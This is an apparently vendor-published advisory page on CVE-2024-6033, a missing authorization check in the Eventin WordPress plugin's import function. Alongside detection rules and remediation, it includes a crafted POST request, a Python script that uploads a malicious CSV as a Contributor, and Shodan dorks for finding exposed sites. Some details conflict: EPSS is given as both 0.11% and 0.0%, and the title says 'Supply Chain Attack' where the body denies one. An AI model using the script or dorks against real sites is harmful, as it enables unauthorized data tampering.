☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6033

CVE-2024-6033 Supply Chain Attack in Themein
📅 PUBLISHED: 2024-07-17 06:45 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6033 is a missing authorization vulnerability in the Event Manager, Events Calendar, Tickets, Registrations – Eventin WordPress plugin (by Themein). The flaw resides in the import_file function, which lacks a proper capability check. This allows authenticated attackers with at least Contributor-level access to import arbitrary event, speaker, schedule, and attendee data into the WordPress site. The vulnerability affects all versions up to and including 4.0.4. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify the integrity of the plugin by checking the plugin’s checksum against the WordPress.org repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – Contributor-level access
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) – unauthorized data import may expose attendee data
  • Integrity Impact: Low (I:L) – imported data may be malicious
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is relatively easy to obtain in multi-author WordPress sites. The impact is limited to data import, not direct code execution.

Deep Dive & Mechanics

The vulnerability is located in the import_file function of the Eventin plugin. This function is intended to allow administrators to import event data from CSV or other file formats. However, the function does not verify that the current user has the import capability (typically manage_options or import). Instead, it only checks for a nonce or other weak validation, allowing any user with edit_posts capability (Contributor and above) to call the function.

The import process typically reads a file, parses it, and inserts records into the WordPress database (e.g., wp_posts for events, wp_postmeta for metadata, and custom tables for attendees). An attacker can craft a malicious CSV file containing arbitrary event data, including fake attendees, schedules, or speakers. This could be used to:

  • Inject spam or phishing content into the site.
  • Overwrite existing event data.
  • Harvest attendee information if the import function also reads from the database.

The missing capability check is a classic CWE-862 (Missing Authorization) vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.0.4):

// In class-import.php or similar
public function import_file() {
    // No capability check
    check_admin_referer('eventin_import_nonce');
    // Process file...
    $this->process_import($_FILES['import_file']);
}

Patched Code (Hypothetical):

public function import_file() {
    // Added capability check
    if (!current_user_can('import')) {
        wp_die('Unauthorized');
    }
    check_admin_referer('eventin_import_nonce');
    $this->process_import($_FILES['import_file']);
}

The patch adds a current_user_can('import') check, which restricts the function to users with the import capability (typically Administrators). Without the patch, any Contributor can trigger the import.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A WordPress site with Eventin plugin <= 4.0.4.
  • A user account with Contributor-level access (username/password).

Steps:

  1. Log in as a Contributor.
  2. Obtain a valid nonce for the import action (e.g., by inspecting the import page source or using a tool like Burp Suite).
  3. Craft a malicious CSV file with the following structure:
    event_name,event_date,attendee_email
    "Fake Event","2025-01-01","attacker@example.com"
    
  4. Send a POST request to the import endpoint:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target-site.com
    Content-Type: multipart/form-data
    Cookie: wordpress_logged_in_...
    
    action=eventin_import&_wpnonce=VALID_NONCE
    import_file=@malicious.csv
    
  5. The plugin will import the data without checking capabilities.

Automation Script (Python):

import requests

url = "https://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_...": "..."}
nonce = "VALID_NONCE"

files = {'import_file': ('malicious.csv', 'event_name,event_date\n"Fake","2025-01-01"', 'text/csv')}
data = {'action': 'eventin_import', '_wpnonce': nonce}

r = requests.post(url, cookies=cookies, files=files, data=data)
print(r.text)

Blue Team (Defender)

Detection:

  • Monitor for unusual import activity by users with Contributor role.
  • Look for POST requests to /wp-admin/admin-ajax.php with action=eventin_import from non-admin users.
  • Check for sudden appearance of many events or attendees from a single user.

Hunting:

  • Query the database for events created by Contributor users:
    SELECT post_author, COUNT(*) as event_count
    FROM wp_posts
    WHERE post_type = 'eventin_event'
    GROUP BY post_author
    HAVING event_count > 10;
    
  • Review server logs for import file uploads.

Indicators of Compromise (IOCs)

  • File: Malicious CSV files uploaded to /wp-content/uploads/ or temporary directories.
  • Network: POST requests to /wp-admin/admin-ajax.php with action=eventin_import from non-admin IPs.
  • Database: Unusual number of events or attendees created by Contributor users.
  • Logs: PHP error logs showing import function calls without capability checks.

Detection Engineering

YARA Rule

rule CVE_2024_6033_Eventin_Import {
    meta:
        description = "Detects missing capability check in Eventin plugin import_file function"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-6033"
    strings:
        $func = "import_file" nocase
        $check = "current_user_can" nocase
        $nonce = "check_admin_referer" nocase
    condition:
        $func and not $check and $nonce
}

Sigma Rule

title: CVE-2024-6033 Eventin Plugin Unauthorized Import
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized import attempts via Eventin plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=eventin_import'
        cs-username|re: '^(?!admin).*$'  # Exclude admin users
    condition: selection
falsepositives:
    - Legitimate admin imports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6033 Eventin Plugin Unauthorized Import Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=eventin_import"; http_client_body;
    pcre:"/wpnonce=[a-f0-9]+/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin to the latest version (if a patch is released). Currently, no patch is available.
  2. Disable the plugin if not essential, or restrict access to the import functionality via a custom plugin or .htaccess rule.
  3. Review user roles and remove Contributor-level access from untrusted users.

Long-term Fix:

  • The vendor must add a capability check (current_user_can('import')) to the import_file function.
  • Implement additional validation such as nonce checks and file type restrictions.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) to block access to admin-ajax.php for non-admin users.
  • Add a custom function to your theme's functions.php:
    add_action('admin_init', function() {
        if (current_user_can('contributor') && isset($_POST['action']) && $_POST['action'] === 'eventin_import') {
            wp_die('Unauthorized');
        }
    });
    

Valters IT
Securing WordPress, One Plugin at a Time

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Eventin"
http.html:"wp-content/plugins/wp-event-solution"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6033/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.